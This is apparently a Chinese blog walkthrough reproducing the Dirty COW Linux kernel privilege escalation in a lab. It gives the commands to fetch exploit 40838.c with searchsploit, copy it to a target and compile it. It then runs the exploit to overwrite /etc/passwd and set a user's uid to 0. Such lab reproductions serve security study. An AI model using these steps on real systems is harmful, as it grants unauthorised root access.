脏牛漏洞复现

0x01 脏牛

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。

0x02 获取POC

root@kali:~# searchsploit dirty
脏牛漏洞复现_第1张图片
这里选40838.c其它的好像都不太好用

把POC发到靶机上
root@kali:~# scp /usr/share/exploitdb/platforms/linux/local/40838.c [email protected]:/home/test
脏牛漏洞复现_第2张图片

0x03 提权

系统信息:
脏牛漏洞复现_第3张图片
1547122518182

先编译POC
[test@localhost ~]$ gcc -pthread 40838.c -o dc
脏牛漏洞复现_第4张图片

思路:利用脏牛漏洞强制将test用户的uid改为0

[test@localhost ~]$ a=$(sed 's/test:x:500:500\(.*\)/test:x:0:0\1/g' /etc/passwd)
脏牛漏洞复现_第5张图片
先将/etc/passwd中的内容取出来且test用户的uid改为0存在$a中,然后利用漏洞把原来的/etc/passwd覆盖掉

[test@localhost ~]$ ./dc /etc/passwd "$a"
脏牛漏洞复现_第6张图片

这里程序运行的时间可能会有点长
脏牛漏洞复现_第7张图片
运行完毕后test的uid就变成0了

脏牛漏洞复现_第8张图片

你可能感兴趣的:(网络安全)